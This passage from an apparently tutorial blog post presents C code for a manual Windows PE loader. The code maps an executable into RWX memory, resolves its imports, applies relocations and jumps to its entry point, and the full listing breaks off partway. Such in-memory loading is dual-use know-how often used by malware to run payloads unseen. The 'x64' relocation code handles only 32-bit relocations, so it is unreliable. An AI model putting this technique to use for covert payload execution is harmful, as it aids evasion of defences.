baseAddress);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Handle relocations</span></span><br><span class="line">    DWORD_PTR delta = (DWORD_PTR)baseAddress - ntHeaders-&gt;OptionalHeader.ImageBase;</span><br><span class="line">    <span class="keyword">if</span> (delta != <span class="number">0</span>) &#123;</span><br><span class="line">        ApplyRelocations(ntHeaders, baseAddress, delta);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ExecutePE(ntHeaders, baseAddress);</span><br><span class="line">    <span class="built_in">free</span>(peBuffer);</span><br><span class="line">&#125;</span><br><span class="line">````</span><br><span class="line">---</span><br><span class="line"></span><br><span class="line">### <span class="number">2.</span> **ParseHeaders** Function</span><br><span class="line"></span><br><span class="line">This function reads the PE headers from the PE file buffer and verifies whether the PE file is valid.</span><br><span class="line"></span><br><span class="line">```c</span><br><span class="line"><span class="type">void</span> <span class="title function_">ParseHeaders</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* peBuffer, IMAGE_NT_HEADERS** ntHeaders)</span> &#123;</span><br><span class="line">    <span class="comment">// DOS Header</span></span><br><span class="line">    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)peBuffer;</span><br><span class="line">    <span class="keyword">if</span> (dosHeader-&gt;e_magic != IMAGE_DOS_SIGNATURE) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Invalid DOS signature.\n&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// NT Headers</span></span><br><span class="line">    *ntHeaders = (IMAGE_NT_HEADERS*)(peBuffer + dosHeader-&gt;e_lfanew);</span><br><span class="line">    <span class="keyword">if</span> ((*ntHeaders)-&gt;Signature != IMAGE_NT_SIGNATURE) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Invalid PE signature.\n&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Valid PE file.\n&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><hr><h3 id="3-AllocateMemoryForImage-Function"><a href="#3-AllocateMemoryForImage-Function" class="headerlink" title="3. AllocateMemoryForImage Function"></a>3. <strong>AllocateMemoryForImage</strong> Function</h3><p>This function allocates memory for the PE image. It first attempts to allocate memory at the preferred base address specified in the PE file, and if that fails, it allocates memory at any available address.</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span>* <span class="title function_">AllocateMemoryForImage</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders)</span> &#123;</span><br><span class="line">    <span class="type">void</span>* baseAddress = VirtualAlloc((LPVOID)ntHeaders-&gt;OptionalHeader.ImageBase,</span><br><span class="line">        ntHeaders-&gt;OptionalHeader.SizeOfImage,</span><br><span class="line">        MEM_COMMIT | MEM_RESERVE,</span><br><span class="line">        PAGE_EXECUTE_READWRITE);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!baseAddress) &#123;</span><br><span class="line">        baseAddress = VirtualAlloc(<span class="literal">NULL</span>,</span><br><span class="line">            ntHeaders-&gt;OptionalHeader.SizeOfImage,</span><br><span class="line">            MEM_COMMIT | MEM_RESERVE,</span><br><span class="line">            PAGE_EXECUTE_READWRITE);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!baseAddress) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Failed to allocate memory for image.\n&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Memory allocated at: 0x%p\n&quot;</span>, baseAddress);</span><br><span class="line">    <span class="keyword">return</span> baseAddress;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><hr><h3 id="4-MapSections-Function"><a href="#4-MapSections-Function" class="headerlink" title="4. MapSections Function"></a>4. <strong>MapSections</strong> Function</h3><p>This function maps the sections of the PE file into the allocated memory. It first copies the headers to the allocated memory and then maps the sections from the PE file to the appropriate addresses.</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">MapSections</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* peBuffer, IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span> &#123;</span><br><span class="line">    <span class="built_in">memcpy</span>(baseAddress, peBuffer, ntHeaders-&gt;OptionalHeader.SizeOfHeaders);</span><br><span class="line"></span><br><span class="line">    IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; ntHeaders-&gt;FileHeader.NumberOfSections; i++, sectionHeader++) &#123;</span><br><span class="line">        <span class="type">void</span>* dest = (<span class="type">char</span>*)baseAddress + sectionHeader-&gt;VirtualAddress;</span><br><span class="line">        <span class="type">void</span>* src = (<span class="type">char</span>*)peBuffer + sectionHeader-&gt;PointerToRawData;</span><br><span class="line">        <span class="built_in">memcpy</span>(dest, src, sectionHeader-&gt;SizeOfRawData);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Mapped section: %s to 0x%p\n&quot;</span>, sectionHeader-&gt;Name, dest);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><hr><h3 id="5-ResolveImports-Function"><a href="#5-ResolveImports-Function" class="headerlink" title="5. ResolveImports Function"></a>5. <strong>ResolveImports</strong> Function</h3><p>This function resolves the imports of the PE file. It extracts the names of the required DLLs and loads the necessary functions from those DLLs.</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">ResolveImports</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span> &#123;</span><br><span class="line">    IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((<span class="type">char</span>*)baseAddress +</span><br><span class="line">        ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (importDesc-&gt;Name) &#123;</span><br><span class="line">        <span class="type">char</span>* dllName = (<span class="type">char</span>*)baseAddress + importDesc-&gt;Name;</span><br><span class="line">        HMODULE hModule = LoadLibraryA(dllName);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!hModule) &#123;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;Failed to load library: %s\n&quot;</span>, dllName);</span><br><span class="line">            <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        IMAGE_THUNK_DATA* origFirstThunk = (IMAGE_THUNK_DATA*)((<span class="type">char</span>*)baseAddress + importDesc-&gt;OriginalFirstThunk);</span><br><span class="line">        IMAGE_THUNK_DATA* firstThunk = (IMAGE_THUNK_DATA*)((<span class="type">char</span>*)baseAddress + importDesc-&gt;FirstThunk);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> (origFirstThunk-&gt;u1.AddressOfData) &#123;</span><br><span class="line">            IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((<span class="type">char</span>*)baseAddress + origFirstThunk-&gt;u1.AddressOfData);</span><br><span class="line">            FARPROC functionAddress = GetProcAddress(hModule, (LPCSTR)importByName-&gt;Name);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (!functionAddress) &#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;Failed to resolve import: %s\n&quot;</span>, importByName-&gt;Name);</span><br><span class="line">                <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            firstThunk-&gt;u1.Function = (DWORD_PTR)functionAddress;</span><br><span class="line">            origFirstThunk++;</span><br><span class="line">            firstThunk++;</span><br><span class="line">        &#125;</span><br><span class="line">        importDesc++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Imports resolved.\n&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><hr><h3 id="6-ApplyRelocations-Function"><a href="#6-ApplyRelocations-Function" class="headerlink" title="6. ApplyRelocations Function"></a>6. <strong>ApplyRelocations</strong> Function</h3><p>If the PE file is loaded at an address different from its preferred address, this function applies the necessary relocations to ensure that absolute addresses in the PE file work correctly.</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">ApplyRelocations</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress, DWORD_PTR delta)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (delta == <span class="number">0</span>) <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line">    IMAGE_BASE_RELOCATION* reloc = (IMAGE_BASE_RELOCATION*)((<span class="type">char</span>*)baseAddress +</span><br><span class="line">        ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (reloc-&gt;VirtualAddress) &#123;</span><br><span class="line">        WORD* relocItem = (WORD*)((<span class="type">char</span>*)reloc + <span class="keyword">sizeof</span>(IMAGE_BASE_RELOCATION));</span><br><span class="line">        <span class="type">int</span> numRelocs = (reloc-&gt;SizeOfBlock - <span class="keyword">sizeof</span>(IMAGE_BASE_RELOCATION)) / <span class="keyword">sizeof</span>(WORD);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; numRelocs; i++) &#123;</span><br><span class="line">            <span class="keyword">if</span> ((relocItem[i] &gt;&gt; <span class="number">12</span>) == IMAGE_REL_BASED_HIGHLOW) &#123;</span><br><span class="line">                DWORD* patchAddr = (DWORD*)((<span class="type">char</span>*)baseAddress + reloc-&gt;VirtualAddress + (relocItem[i] &amp; <span class="number">0xFFF</span>));</span><br><span class="line">                *patchAddr += (DWORD)delta;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        reloc = (IMAGE_BASE_RELOCATION*)((<span class="type">char</span>*)reloc + reloc-&gt;SizeOfBlock);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Relocations applied.\n&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><hr><h3 id="7-ExecutePE-Function"><a href="#7-ExecutePE-Function" class="headerlink" title="7. ExecutePE Function"></a>7. <strong>ExecutePE</strong> Function</h3><p>This function locates the entry point of the PE file and executes it.</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">ExecutePE</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span> &#123;</span><br><span class="line">    <span class="type">void</span> (*entryPoint)() = (<span class="type">void</span> (*)())((<span class="type">char</span>*)baseAddress + ntHeaders-&gt;OptionalHeader.AddressOfEntryPoint);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Executing PE at entry point: 0x%p\n&quot;</span>, entryPoint</span><br><span class="line"></span><br><span class="line">);</span><br><span class="line">    entryPoint();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><hr><h2 id="Full-Simple-PE-Loader-x64"><a href="#Full-Simple-PE-Loader-x64" class="headerlink" title="Full Simple PE Loader (x64)"></a>Full Simple PE Loader <strong>(x64)</strong></h2><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> _CRT_SECURE_NO_WARNINGS</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Function prototypes</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">LoadPEFile</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* filePath)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">ParseHeaders</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* peBuffer, IMAGE_NT_HEADERS** ntHeaders)</span>;</span><br><span class="line"><span class="type">void</span>* <span class="title function_">AllocateMemoryForImage</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">MapSections</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* peBuffer, IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">ResolveImports</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">ApplyRelocations</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress, DWORD_PTR delta)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">ExecutePE</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (argc != <span class="number">2</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Usage: %s &lt;PE file path&gt;\n&quot;</span>, argv[<span class="number">0</span>]);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    LoadPEFile(argv[<span class="number">1</span>]);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">LoadPEFile</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* filePath)</span> &#123;</span><br><span class="line">    FILE* peFile = fopen(filePath, <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (!peFile) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Failed to open PE file: %s\n&quot;</span>, filePath);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Get the size of the file</span></span><br><span class="line">    fseek(peFile, <span class="number">0</span>, SEEK_END);</span><br><span class="line">    <span class="type">long</span> fileSize = ftell(peFile);</span><br><span class="line">    fseek(peFile, <span class="number">0</span>, SEEK_SET);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Allocate memory and read the file into the buffer</span></span><br><span class="line">    <span class="type">char</span>* peBuffer = (<span class="type">char</span>*)<span class="built_in">malloc</span>(fileSize);</span><br><span class="line">    fread(peBuffer, <span class="number">1</span>, fileSize, peFile);</span><br><span class="line">    fclose(peFile);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Parse headers and load sections</span></span><br><span class="line">    IMAGE_NT_HEADERS* ntHeaders;</span><br><span class="line">    ParseHeaders(peBuffer, &amp;ntHeaders);</span><br><span class="line">    <span class="type">void</span>* baseAddress = AllocateMemoryForImage(ntHeaders);</span><br><span class="line">    MapSections(peBuffer, ntHeaders, baseAddress);</span><br><span class="line">    ResolveImports(ntHeaders, baseAddress);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Handle relocations</span></span><br><span class="line">    DWORD_PTR delta = (DWORD_PTR)baseAddress - ntHeaders-&gt;OptionalHeader.ImageBase;</span><br><span class="line">    <span class="keyword">if</span> (delta != <span class="number">0</span>) &#123;</span><br><span class="line">        ApplyRelocations(ntHeaders, baseAddress, delta);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ExecutePE(ntHeaders, baseAddress);</span><br><span class="line">    <span class="built_in">free</span>(peBuffer);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">ParseHeaders</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* peBuffer, IMAGE_NT_HEADERS** ntHeaders)</span> &#123;</span><br><span class="line">    <span class="comment">// DOS Header</span></span><br><span class="line">    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)peBuffer;</span><br><span class="line">    <span class="keyword">if</span> (dosHeader-&gt;e_magic != IMAGE_DOS_SIGNATURE) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Invalid DOS signature.\n&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// NT Headers</span></span><br><span class="line">    *ntHeaders = (IMAGE_NT_HEADERS*)(peBuffer + dosHeader-&gt;e_lfanew);</span><br><span class="line">    <span class="keyword">if</span> ((*ntHeaders)-&gt;Signature != IMAGE_NT_SIGNATURE) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Invalid PE signature.\n&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Valid PE file.\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span>* <span class="title function_">AllocateMemoryForImage</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders)</span> &#123;</span><br><span class="line">    <span class="comment">// Allocate memory for the image, aligned to the preferred base address</span></span><br><span class="line">    <span class="type">void</span>* baseAddress = VirtualAlloc((LPVOID)ntHeaders-&gt;OptionalHeader.ImageBase,</span><br><span class="line">        ntHeaders-&gt;OptionalHeader.SizeOfImage,</span><br><span class="line">        MEM_COMMIT | MEM_RESERVE,</span><br><span class="line">        PAGE_EXECUTE_READWRITE);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!baseAddress) &#123;</span><br><span class="line">        <span class="comment">// If allocation at preferred address fails, allocate memory at any available address</span></span><br><span class="line">        baseAddress = VirtualAlloc(<span class="literal">NULL</span>,</span><br><span class="line">            ntHeaders-&gt;OptionalHeader.SizeOfImage,</span><br><span class="line">            MEM_COMMIT | MEM_RESERVE,</span><br><span class="line">            PAGE_EXECUTE_READWRITE);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!baseAddress) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Failed to allocate memory for image.\n&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Memory allocated at: 0x%p\n&quot;</span>, baseAddress);</span><br><span class="line">    <span class="keyword">return</span> baseAddress;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">MapSections</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* peBuffer, IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span> &#123;</span><br><span class="line">    <span class="comment">// Copy the headers to the allocated memory</span></span><br><span class="line">    <span class="built_in">memcpy</span>(baseAddress, peBuffer, ntHeaders-&gt;OptionalHeader.SizeOfHeaders);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Map sections to memory</span></span><br><span class="line">    IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; ntHeaders-&gt;FileHeader.NumberOfSections; i++, sectionHeader++) &#123;</span><br><span class="line">        <span class="type">void</span>* dest = (<span class="type">char</span>*)baseAddress + sectionHeader-&gt;VirtualAddress;</span><br><span class="line">        <span class="type">void</span>* src = (<span class="type">char</span>*)peBuffer + sectionHeader-&gt;PointerToRawData;</span><br><span class="line">        <span class="built_in">memcpy</span>(dest, src, sectionHeader-&gt;SizeOfRawData);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Mapped section: %s to 0x%p\n&quot;</span>, sectionHeader-&gt;Name, dest);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">ResolveImports</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span> &#123;</span><br><span class="line">    IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((<span class="type">char</span>*)baseAddress +</span><br><span class="line">        ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (importDesc-&gt;Name) &#123;</span><br><span class="line">        <span class="type">char</span>* dllName = (<span class="type">char</span>*)baseAddress + importDesc-&gt;Name;</span><br><span class="line">        HMODULE hModule = LoadLibraryA(dllName);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!hModule) &#123;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;Failed to load library: %s\n&quot;</span>, dllName);</span><br><span class="line">            <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        IMAGE_THUNK_DATA* origFirstThunk = (IMAGE_THUNK_DATA*)((<span class="type">char</span>*)baseAddress + importDesc-&gt;OriginalFirstThunk);</span><br><span class="line">        IMAGE_THUNK_DATA* firstThunk = (IMAGE_THUNK_DATA*)((<span class="type">char</span>*)baseAddress + importDesc-&gt;FirstThunk);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> (origFirstThunk-&gt;u1.AddressOfData) &#123;</span><br><span class="line">            IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((<span class="type">char</span>*)baseAddress + origFirstThunk-&gt;u1.AddressOfData);</span><br><span class="line">            FARPROC functionAddress = GetProcAddress(hModule, (LPCSTR)importByName-&gt;Name);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (!functionAddress) &#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;Failed to resolve import: %s\n&quot;</span>, importByName-&gt;Name);</span><br><span class="line">                <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            firstThunk-&gt;u1.Function = (DWORD_PTR)functionAddress;</span><br><span class="line">            origFirstThunk++;</span><br><span class="line">            firstThunk++;</span><br><span class="line">        &#125;</span><br><span class="line">        importDesc++;</span><br><span class="line">    &#125;</span><br><span 